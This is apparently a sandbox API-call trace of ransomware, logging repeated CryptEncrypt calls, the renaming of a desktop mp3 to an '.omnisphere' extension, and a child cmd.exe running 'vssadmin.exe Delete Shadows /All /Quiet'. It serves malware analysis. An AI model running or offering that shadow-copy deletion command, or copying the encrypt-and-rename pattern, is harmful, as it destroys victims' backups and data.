hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.869] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.870] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.871] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.872] CryptDestroyKey (hKey=0x1639568) returned 1 [0165.872] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0165.872] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x5c09, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.872] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0165.872] GetProcessHeap () returned 0x1600000 [0165.872] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x266) returned 0x17770b8 [0165.873] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\zdhnf9i.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\zdhnf9i.mp3.omnisphere")) returned 1 [0165.873] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3.omnisphere.id" [0165.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\zdhnf9i.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0166.136] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0166.137] CloseHandle (hObject=0x3bc) Thread: id = 19 os_tid = 0x1a4 Thread: id = 20 os_tid = 0x2d4 Thread: id = 21 os_tid = 0xb84 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x13060000" os_pid = "0x37c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xf98" cmd_line = "cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xff0 [0059.385] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7d4fc0000 [0059.386] __set_app_type (_Type=0x1) [0059.386] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7d4fd6d00) returned 0x0 [0059.386] __getmainargs (in: _Argc=0x7ff7d4ff9200, _Argv=0x7ff7d4ff9208, _Env=0x7ff7d4ff9210, _DoWildCard=0, _StartInfo=0x7ff7d4ff921c | out: _Argc=0x7ff7d4ff9200, _Argv=0x7ff7d4ff9208, _Env=0x7ff7d4ff9210) returned 0 [0059.386] _onexit (_Func=0x7ff7d4fd7fd0) returned 0x7ff7d4fd7fd0 [0059.387] _onexit (_Func=0x7ff7d4fd7fe0) returned 0x7ff7d4fd7fe0 [0059.387] _onexit (_Func=0x7ff7d4fd7ff0) returned 0x7ff7d4fd7ff0 [0059.387] _onexit (_Func=0x7ff7d4fd8000) returned 0x7ff7d4fd8000 [0059.388] _onexit (_Func=0x7ff7d4fd8010) returned 0x7ff7d4fd8010 [0059.389] _onexit (_Func=0x7ff7d4fd8020) returned 0x7ff7d4fd8020 [0059.390] GetCurrentThreadId () returned 0xff0 [0059.390] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xff0) returned 0x7c [0059.390] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0059.391] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0059.391] SetThreadUILanguage (LangId=0x0) returned 0x409 [0059.667] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0059.668] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x6a0b6ffd28 | out: phkResult=0x6a0b6ffd28*=0x0) returned 0x2 [0059.668] VirtualQuery (in: lpAddress=0x6a0b6ffd14, lpBuffer=0x6a0b6ffc90, dwLength=0x30 | out: lpBuffer=0x6a0b6ffc90*(BaseAddress=0x6a0b6ff000, AllocationBase=0x6a0b600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.668] VirtualQuery (in: lpAddress=0x6a0b600000, lpBuffer=0x6a0b6ffc90, dwLength=0x30 | out: lpBuffer=0x6a0b6ffc90*(BaseAddress=0x6a0b600000, AllocationBase=0x6a0b600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.668] VirtualQuery (in: lpAddress=0x6a0b601000, lpBuffer=0x6a0b6ffc90, dwLength=0x30 | out: lpBuffer=0x6a0b6ffc90*(BaseAddress=0x6a0b601000, AllocationBase=0x6a0b600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.668] VirtualQuery (in: lpAddress=0x6a0b604000, lpBuffer=0x6a0b6ffc90, dwLength=0x30 | out: lpBuffer=0x6a0b6ffc90*(BaseAddress=0x6a0b604000, AllocationBase=0x6a0b600000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.668] VirtualQuery (in: lpAddress=0x6a0b700000, lpBuffer=0x6a0b6ffc90, dwLength=0x30 | out: lpBuffer=0x6a0b6ffc90*(BaseAddress=0x6a0b700000, AllocationBase=0x6a0b700000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0059.668] GetConsoleOutputCP () returned 0x1b5 [0060.163] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4fffbb0 | out: lpCPInfo=0x7ff7d4fffbb0) returned 1 [0060.163] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7d4fe8150, Add=1) returned 1 [0060.163] _get_osfhandle (_FileHandle=1) returned 0x50 [0060.163] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff7d4fffc04 | out: lpMode=0x7ff7d4fffc04) returned 1 [0060.419] _get_osfhandle (_FileHandle=0) returned 0x4c [0060.419] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff7d4fffc00 | out: lpMode=0x7ff7d4fffc00) returned 1 [0060.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0060.594] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1 [0060.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0060.622] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff7d4fffc08 | out: lpMode=0x7ff7d4fffc08) returned 1 [0060.791] _get_osfhandle (_FileHandle=1) returned 0x50 [0060.791] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0060.827] _get_osfhandle (_FileHandle=0) returned 0x4c [0060.827] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff7d4fffc0c | out: lpMode=0x7ff7d4fffc0c) returned 1 [0060.953] _get_osfhandle (_FileHandle=0) returned 0x4c [0060.953] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1 [0060.997] GetEnvironmentStringsW () returned 0x25447fc5a50* [0060.998] GetProcessHeap () returned 0x25447fc0000 [0060.998] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xa7c) returned 0x25447fc64e0 [0060.998] FreeEnvironmentStringsA (penv="A") returned 1 [0060.998] GetProcessHeap () returned 0x25447fc0000 [0060.998] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0x8) returned 0x25447fc6f70 [0060.998] GetEnvironmentStringsW () returned 0x25447fc5a50* [0060.998] GetProcessHeap () returned 0x25447fc0000 [0060.998] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xa7c) returned 0x25447fc6f90 [0060.999] FreeEnvironmentStringsA (penv="A") returned 1 [0060.999] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6a0b6febd8 | out: phkResult=0x6a0b6febd8*=0x88) returned 0x0 [0060.999] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x0, lpData=0x6a0b6febf0*=0x4, lpcbData=0x6a0b6febd4*=0x1000) returned 0x2 [0060.999] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x1, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0060.999] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x0, lpData=0x6a0b6febf0*=0x1, lpcbData=0x6a0b6febd4*=0x1000) returned 0x2 [0060.999] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x0, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0060.999] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x40, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0060.999] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x40, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x0, lpData=0x6a0b6febf0*=0x40, lpcbData=0x6a0b6febd4*=0x1000) returned 0x2 [0061.000] RegCloseKey (hKey=0x88) returned 0x0 [0061.000] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6a0b6febd8 | out: phkResult=0x6a0b6febd8*=0x88) returned 0x0 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x0, lpData=0x6a0b6febf0*=0x40, lpcbData=0x6a0b6febd4*=0x1000) returned 0x2 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x1, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x0, lpData=0x6a0b6febf0*=0x1, lpcbData=0x6a0b6febd4*=0x1000) returned 0x2 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x0, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x9, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x4, lpData=0x6a0b6febf0*=0x9, lpcbData=0x6a0b6febd4*=0x4) returned 0x0 [0061.000] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6a0b6febd0, lpData=0x6a0b6febf0, lpcbData=0x6a0b6febd4*=0x1000 | out: lpType=0x6a0b6febd0*=0x0, lpData=0x6a0b6febf0*=0x9, lpcbData=0x6a0b6febd4*=0x1000) returned 0x2 [0061.000] RegCloseKey (hKey=0x88) returned 0x0 [0061.001] time (in: timer=0x0 | out: timer=0x0) returned 0x5da437d3 [0061.001] srand (_Seed=0x5da437d3) [0061.001] GetCommandLineW () returned="cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet" [0061.001] malloc (_Size=0x4000) returned 0x254482454f0 [0061.002] GetCommandLineW () returned="cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet" [0061.002] malloc (_Size=0xffce) returned 0x25447eb0080 [0061.004] ??_V@YAXPEAX@Z () returned 0x25447eb0080 [0061.004] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x25447eb0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0061.005] malloc (_Size=0xffce) returned 0x25447ec0060 [0061.005] ??_V@YAXPEAX@Z () returned 0x25447ec0060 [0061.006] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25447ec0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0061.006] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0061.006] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.006] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.006] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0061.006] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0061.006] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0061.006] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0061.007] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0061.007] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0061.007] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0061.007] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0061.007] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0061.007] GetProcessHeap () returned 0x25447fc0000 [0061.007] RtlFreeHeap (HeapHandle=0x25447fc0000, Flags=0x0, BaseAddress=0x25447fc64e0) returned 1 [0061.007] GetEnvironmentStringsW () returned 0x25447fc5a50* [0061.007] GetProcessHeap () returned 0x25447fc0000 [0061.007] RtlAllocateHeap (HeapHandle=0x25447fc0000, Flags=0x8, Size=0xa94) returned 0x25447fc7a50 [0061.008] FreeEnvironmentStringsA (penv="A") returned 1 [0061.008] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0061.008] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7d4ffbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.008] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0061.008] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0061.008] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0061.008] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0061.008] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0061.008] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0061.008] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0061.008] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0061.008] malloc (_Size=0xffce) returned 